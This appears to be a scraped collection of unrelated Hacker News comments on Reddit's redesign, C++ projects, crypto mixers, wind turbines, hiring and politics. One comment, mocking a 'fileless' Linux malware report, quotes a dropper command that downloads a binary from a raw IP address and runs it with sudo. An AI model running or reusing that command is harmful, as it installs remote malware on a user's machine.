skysight-inc/HackerNews huggingface dataset:
I was being serious with my suggestion, not flaming
Privacy is very much enshrined in US law, it's the 4th amendment to our constitution.
TypeScript type assertion plugin for Vitest
I'm working on loop modeling and optimization software in C++:
https://github.com/JuliaSIMD/LoopModels/
This project was started in November of last year, and is still undergoing rapid development.

C++ is currently the only language, but there will be a Julia frontend.
I'm using C++ because I am working with LLVM.
You forget that those subs could be replaced by a more practical forum.
My guess is that a large number of younger people use the "new" reddit, and basically pay to keep everything running with the ads they view. Many older Reddit users just go to old.reddit.com, and would sooner leave the site than use the current design.

It's absolutely fascinating that they have both versions. To me it illustrates so perfectly what the Internet was vs. what is has become. There's probably more money to be made from the infinite scrolling and dark patterns, but it's also completely unusable and comments and discussions seems to be of less concern. Just keep scrolling.
The blockchain community are their own worst enemies. There are some interesting use cases for the technology, but those are lost in the noise of the big crowd that treat it like a get-rich-quick scheme.

All the “HODL”, “diamond hands” and other memes in those circles essentially amount to trying to rally people to (artificially) increase the price of Bitcoin/Ethereum/whatever.

And the more they succeed in doing so, the larger the incentive to run scams or waste power running “mining” computers.
This is a really good question. The reason regular turbines and wind turbines are designed differently is because regular turbines have a small volume of fluid experiencing a large change in pressure while wind turbines have a large volume of fluid experiencing a small change in pressure. You see the exact same thing in fans - big ceiling fans look like wind turbines and air compressors look a lot like regular turbines.

I’m sure the cost of a casing plays into it, but its primarily about the energy efficiency of different blade shapes in different hydraulic conditions.
99% of my new projects are in C++20, with Qt if they need a GUI.

Here's a couple recent ones:

- https://github.com/celtera/avendish

- https://www.youtube.com/watch?v=fMQvsqTDm3k

- most of the stuff in https://github.com/ossia and https://github.com/jcelerier/
legal incompetence, bureaucracy, case load of judges, yada yada.

the judge looks at his calender, thinks "hmm, how about 3 months from now".

on that date, either of the lawyers says "judge, i need more time for an affidavit, why dont you give me 4 more months"...... on and on..

oh, btw, the next time the court does hear your case, its a different judge so you have to explain it once again and then the judge goes "next hearing date 4 months"....
After all of Digg's toxic users migrated to reddit en masse, Digg became a much nicer and more enjoyable place, IMHO.

It's nice not to have to wade through the people who identify with a website on a personal and intimate level -- when all i really want to do is scroll a news aggregator, and potentially have light-weight conversations.
Or horseradish mustard, pretty good stuff.
You can use CNAME record for a www domain, it's the apex entry that doesn't support CNAME usually. Netlify and Vercel both support ALIAS records and could be a decent free option if you need it.
Not too cold, comfortably cool.

Maybe it'd be better to have men and women stay in different buildings so everyone can have their preferred temperatures..

Thing about feeling too warm is.. you can only shed so many layers of clothing while staying decently dressed..

Thing about feeling too cold is.. you can pretty much keep adding layers of clothing until you're warm enough.
The 90s called, they want their OS fanboy flamebait back
Remote Worker Sets Up Green Screen on the Beach
Counterpoint: bring back the wild west.
Yeesh. MacOS is years ahead of Linux re: several important security features -- disk encryption, SecureBoot, TPM, immutable root FS.

Glibly pretending it ain't so isn't making Linux better.
Someone just needs to learn you some better Google skills.

https://english.stackexchange.com/questions/14778/is-learn-t...

https://www.merriam-webster.com/words-at-play/teach-em-or-le...
I don't think it is a good thing in principle. Much of the point of creating agencies like the FTC is to prevent Congress from having to deal with the minutiae of every single thing that ought to be regulated.
I'd like to see mech battles where those mechs are controlled by insects. Just make a huge mech version of the insect. Spider vs. cockroach.
Everything about your recollection is close to correct if you subsitute N3 for N2.
For me this morning on ios it was forcing me to use the app to view nsfw content otherwise return to the homepage was the only other option. They're probably a/b testing, but either way, it's an immediate exit for me.
next you'll be saying emacs is better than vim
Everything is hard for me now. I'm getting old and can't learn as quickly. Part of it's the environment now too - mismanaged teams, 2x the tech/languages as past projects. I lost the drive to learn because the stuff I learnt in the past has all been throwaway work due to the constant switching. I just switched to a new team and can't even get the project running locally because the documentation sucks. What little they have are all videos. Give me a goddamn checklist, not some disorganized, incomplete, and outdated video.
The right to privacy ends at the moment that it is used as an excuse to evade the law. Every country recognizes warrants for this reason.
one of my least favourite things about the GCC countries is an apparent enduring fascination with disabling paste on password fields
> Other professions gatekeep before you can take the interview.

Local governments impose licensing requirements on some professions. This is not something the professions just voluntarily impose on themselves. (If they did impose it on themselves, there might even be antitrust problems as a result.) This is mainly (or at least purportedly) for the protection of public health and safety, not to make it easier on potential employers interviewing job candidates.

It actually has nothing to do with job interviews, because every such professional needs a license in order to practice their profession, even if the professional is a self-employed entrepreneur.

So to be clear, when someone asks for software engineer licensing, in effect what they're asking is for local governments to regulate the ability to practice software development, even for self-employed programmers.

And then you can expect a visit from the government software inspector.
seems not lightweight enough. i will work out a self-sufficient all-in-one verson in 300 lines.
The idea here is 'stay out of dirty air better'. It isn't a real gain for the downwind turbines, just less of a loss.
This concept has long been known to sailors. And I presume that sailing in convoys took this effect of dirty air well into account.
The more people using ETH, the more computation that will need to be done. The more hardware that will be needed to support everything. The end goal is scalability, right?
You still don't! I was speculating :)
"Equally surprising was that Indian Railways, the country’s largest employer, chose to continue fighting the case."

There needs to be some sort of common sense oversight in the Raliways (and most probably in other Indian government organizations also).

Also I wonder on what grounds the Railways was fighting on? The prices of the tickets are well known and widely published, and even though they do change over time, a lawyer like Chaturvedi would have kept all documentation.
For me this morning I noticed for the first time on iOS Safari it was trying to force me to use the Reddit app to view nsfw content otherwise return to the homepage was the only other option. They're probably a/b testing, but either way, it's an immediate page close for me. As soon as a website starts trying to force me to view their content a certain way, I become 99% less interested. I will just Google whatever it is and find it somewhere else if I want to see it bad enough.
Have you tried Bitwarden (vaultwarden for selfhosted)?

I'm pretty sure, you're able to share access to a login with just one person. Or make a "collection" of accounts and give that access to individuals as you wish.

https://bitwarden.com/help/about-collections/
It’s a joke, right?

sudo apt -y install wget cpulimit > /dev/null 2>&1 && wget -q http://5.161.57[.]250/tox && chmod +x ./tox && timeout -k 5s 1h

sudo ./tox
rm ./tox

Doesn’t seem fileless to me.

Also, hyping up undetected Linux malware is just silly.
large number? Reddit has seen by far the most growth after switching to the new UI. The old reddit has already not been maintained to support new features such as polls.
I don't think that it is only available only on nightly anymore: https://support.mozilla.org/en-US/kb/how-use-collections-add...
Wait, are you Eurasiantiger from reddit?
reddit does covert and aggressive A/B evaluation on its live user base.

that may be why you see that behaviour inconsistently.
Reddit's corporate masters have basically figured out a user's LTV is way higher on their native app / logged in. Therefore they've degraded public access as much as possible without being called out on it to push people to native.
A lot of the apologists for this are making arguments along the lines of "being decentralized doesn't make you exempt from the rules" or "imagine if a bank laundered this much money".

The problem is it doesn't make sense to treat protocols like companies. And it definitely doesn't make sense to treat protocol devs as if they were the executives of those companies. The CEO of a bank and the lead dev of a protocol have very very different powers and responsibilities, and we can't just throw our hands up in the air and say "the law's the law, and you gotta follow it" (even when it's literally impossible given the decentralized and autonomous nature of the protocol).

Analogously when joint-stock corporations first entered the scene it required the development of whole new branches of Western law. That law had to be tailored to reflect the realities and nature of joint-stock corporations. What would have been very dumb is simply to pretend like nothing changed and say "same rules apply" and make individual shareholders liable for the action of the corporate entity the same way we're trying to make software devs liable for the action of the decentralized protocol.
If you're exchanging cash, you still theoretically have the legal obligation to declare it. Businesses accepting cash have the obligation of issuing a receipt, and you may have some obligations of keeping that receipt.

Now, it's true that these things are hard to enforce, or even impossible for small enough sums. But people systematically flaunting the rules for large sums of money will get arrested, even with cash.
Good.

Still wait for Google to be punished for abusing it market position to push its browser in a much worse manner than Microsoft pushed IE back in the days.

For those who are new to this game: Microsoft was basically punished for bundling a browser with their operating system.

If that was punishable (and thankfully it was), what should we say about the worlds largest advertising company pushing their browser in ad spots so valuable that no others were ever allowed to touch them (the otherwise clean front page of Google)?

And of course: with its current behavior, MS should of course be punished again for its abusive use of a dominant position when it tries to stop people from downloading other browsers and tries to prevent people from setting other browsers as default.
The sound of seagulls and waves is somewhat unmistakable. Though I guess maybe with rtx voice filtering...
There are a lot of problems with take-home assignments in general and I feel like it discounts that to just say "they are better generally". I disagree with that statement both personally, as an interviewer, and in reading others' anecdotal experiences. It is better "for some people some of the time", but I firmly disagree that can be generalized to a best practice.
> But this is a tool whose specific purpose it is to make it difficult to track illegal transactions.

What's the difference between that and a tool whose specific purpose is to make it difficult to track transactions in general?
Ahh, now I see what you're saying; that does seem true. Sorry for the snarky comment.
Teachers often need to present sample lesson plans, or do sample class presentations, but these are not really analogous to the "Draw the Pirate" tests that programmers are given. They are usually real-world demonstrations.

Teachers also have fairly strict licensing and educational requirements (and get paid squat).

I know a lot of finance people. These are not the most stable or reliable people on Earth, but they have to pass their Series 7s, in order to work. They tend to be kind of a scruffy lot, otherwise, but they make a lot of money.
Portable cancer testing expands in sub-Saharan Africa
A typical wind farm will have 1 or 2 types of turbine.
Hitler’s Indestructible Flak Towers
It's almost as if humans are emotional beings that strive to make themselves and those around them happy, even at the expense of micro-inefficiencies.

This guy must be great at parties... "You know, you should really remove the ice from your soda and drink it warm. Studies have shown that it will help your body maintain a more consistent blood-glucose, preventing a sugar crash"
Brooks and his team developed an embedded version of lisp for robotics called L.

As far as I know, it was never released publicly, though they published a paper describing it.

Do you have more info on L?
who's ever been censored on reddit?

what is actively being censored, there?
I wonder why they limit it to 2 WAL files instead of creating a new WAL file once the latest one reaches a certain size and a checkpoint is done. Then delete the WAL files that have been successfully flushed to the main DB. That could minimize the spikyness of WAL file garbage collection under less than optimal circumstances.
> I'm using it to make Rust programmers seethe.

Oh, don't worry, we really couldn't care less if you're using C++.

:-)
Sorry but they the ones that took away the hundreds of extensions before. With great power comes great responsibility, not great laziness.
I think that the main difference is that for Holmes it was a first company. Musk seems to be still riding on the wave of trust, money and contacts from the PayPal era. What is completely unexplainable for me because his erratic behavior and broken promises should erase all the trust years ago.
The people of the world, much less just the US, have a sincere interest in preventing terrorism. The functional elimination of Al Qaeda and ISIS are both two things people should be celebrating. Many countries are responsible for their elimination, and we're all better off for it.

Unfortunately, both left and right wing propagandists are agitating to make you think it was unjustified to eradicate these two groups. Don't believe that garbage. These organizations genuinely believed that the entire world has been corrupted, including much of the Muslim world, and deserved the terrorism their groups inflicted.
> Also, in June—when the link says they began the investigation—it was publicly known Tornado was being used to launder money. If the developer kept working on it, they knew what they were doing.

People keep saying this in this thread. Is everyone at WhatsApp also guilty of a crime for continuing to work on WhatsApp even though they know the Taliban uses it for communication?
My Didgets project https://didgets.com/ is written entirely in C++. It is a general-purpose data management system where performance is one of its key features.

Algorithms that process millions of data points in parallel using multi-threading is a defining characteristic of the code. It is able to process many queries against large relational tables about 10x faster than Postgres without needing to create separate indexes. https://www.youtube.com/watch?v=OVICKCkWMZE
Do you have any suggestions for privacy-enhancing GPOs?
Sigh, this is cynical but I've seen that sort of thing too and it really bums you out. When you're in an environment where this kinda crap isn't well understood it becomes frustrating, you end up feeling like you're rewarded for mediocre software engineering and punished for thinking ahead.
FEC's draft advisory opinion:

https://www.fec.gov/files/legal/aos/2022-14/202214.pdf
English used to have this distinction, we used to use "yes" as a strong affirmative, and "yeah" otherwise. We still use both words but the distinction between them has disappeared.
Just tried and made an account without email. Just click on next.

And there is also a signup button, didn't have to go for any special page
Nope. Excess death is above the long term average all across Europe, and it's not COVID deaths. Also, don't look at fertility stats which have crashed in many countries.
The US has the world's largest entitlement and social welfare programs, including its vast Social Security program (which is not actually paid for in full by its recipients, it's heavily subsidized, ie a welfare transfer) or eg its $120 billion EBT food program. And that's just at the federal level, the US has another gigantic government complex at the state level.

Most US government spending, $10 trillion (federal + state + local), goes to social welfare programs and entitlements.

That $10 trillion is larger than the entire economies of Japan + Germany combined.

The US spends more on healthcare than any other nation, by far. It hasn't given up anything.

The poorest 1/4 of the US population gets entirely free healthcare, and it's the most expensive free healthcare that you'll find anywhere on the planet. Another quarter of the US population receives directly subsidized healthcare.

Over-spending on the US military is a $200-$250 billion problem. The US spends $4+ trillion on healthcare every year.

Practically every full-time employee (32 hours or more per week) in the US gets paid time off. Your average retail store employee - working at CVS, Walgreens, Amazon, Walmart, Target, etc - earning ~$13-$17 / hour typically accrues 10-14 days of PTO per year (one can certainly argue it should be more; pretending it doesn't exist, or using "by law" to devalue its existence, is absurd).
Google adds Play Now button to web searches for games
I don't have an article, just real life experience. Wheb Facebook started to get book it was exclusive to people with college email addresses. This was great, because it meant not having to deal with the sheer amount of people on MySpace and feeling like you joined an exclusive club that your parents or high schoolers couldn't join.
It's unduly burdensome to require the candidate to complete a take-home assignment before even having a interview. Simply first interview the candidate (requires an roughly equal investment in time) and then give take-home for the promising candidates. To compensate for the candidates time you obviously should compensate them. To do otherwise is to create a heavily unbalanced situation for the candidate who might have to complete multiple of these take-home assignments (as you're interviewing multiple candidates they should be interviewing multiple companies).
Sioyek is really great! I just installed it. It's fast, snappy and clean. It may well be my new default PDF viewer.
"Relatedness" is a very thorny notion here because we cannot discount the possibility of long-range contact influence in Western Eurasia. Many ancient Indo-European languages had some kind of ablative or locative case, and accusative was often used in a directional sense.

However, localtive-case systems of Hungarian and Finnish are much more developed than anything we see in Indo-European (Latin has at most 3 cases with locative/directional semantics; Hungarian has 9; Finnish has 8), so it's a different system anyway.
You don't need an SD card to sideload though, which is why I don't think the comparison works very well. Both SD card and external drive mainly give you extra space but don't add other features.
Serious question here. Why I see all these breakthroughs coming from MIT? Are they really heads and shoulders above everyone else or do they have great PR/marketing?
Privacy not being a human right is acceptable?
> The (criminal) origin of the cryptocurrencies is often not or hardly checked by such mixing services.

Even omitting the "criminal" implication, that sentence has a big problems.

> The origin of the cryptocurrencies is often not or hardly checked by such mixing services.

Let me rephrase that:

> The origin of cryptocurrencies is not checked by cryptocurrencies services.

The idea is ridiculous at face value.

However, it does illustrate the best & worst part of blockchains -- everything goes on the blockchain. The government loves that audit trail. But how is an ordinary person to know some wallet addr is a pedophile, or terrorist, or druglord, or whatever? I mean that as an honest question. Is there some public crypto-wallet watch-list everyone is supposed to be referencing prior to doing p2p transactions?

Like you, I wonder how this person could be prosecuted? In the free-world, writing software is considered free-speech, at least in the USA, but I'm not sure in the Netherlands or wherever this person was apprehended? There are of course exceptions... like writing malware or viruses, etc.. So like you, the situation seems to entail something more.. like perhaps running an operation with clearly articulate facts indicating criminal activity. You know, the old saying goes "it's what you know, and when you knew it". So like, if the person was aware of criminal activity, taking part in criminal activity, etc.. I suppose an argument could be made.
Really? If they were accountable only to shareholders would you even have the post here where they have to pay fines?

Governments represent public. Sure. But they are slaves to other corporations

https://reason.com/2021/02/18/everybodys-wrong-about-the-fac...
I've been exercising quite regularly for decades, including a good amount of running alongside weights and other resistance and cardio. I love it, and hope I don't ever have to stop, but I've never experienced any sort of "runner's high" or big reaction to exercise, even after very hard or long workouts.
Mist, a Smalltalk Without VM
It is not this man's fault your country has a 100 year backlog on court cases, it is your country's fault. Take responsibility for your country's failure in managing its judicial system efficiently rather than trying to scapegoat a man who was ripped off by your country's railway system.
Sidebar: Anecdotes and personal experiences aren't sufficient evidence to make conclusions about DEI efforts and whether discrimination is occurring, where, to what extent, for or against whom, etc.

The number of people in this HN thread without the critical thinking skills to understand that is astounding.
C++ is still often the best or only way to write performant code on embedded platforms, while having a rich library ecosystem available. Hence, my first choice for a new embedded project is almost always C++.

I would love to be able to use something like Rust, but the RTOS options and library support are not quite there yet.

With more powerful embedded processors becoming available, Micropython is an option for some projects.
> You have to really know me to understand what falls in the "he'd like it but wouldn't bother to get it himself" category.

This is the crux of gift-giving: Noticing throughout a year whenever your significant other(s) wish they had something, and then they forget about it, but you don’t, and 6 months later, they get it.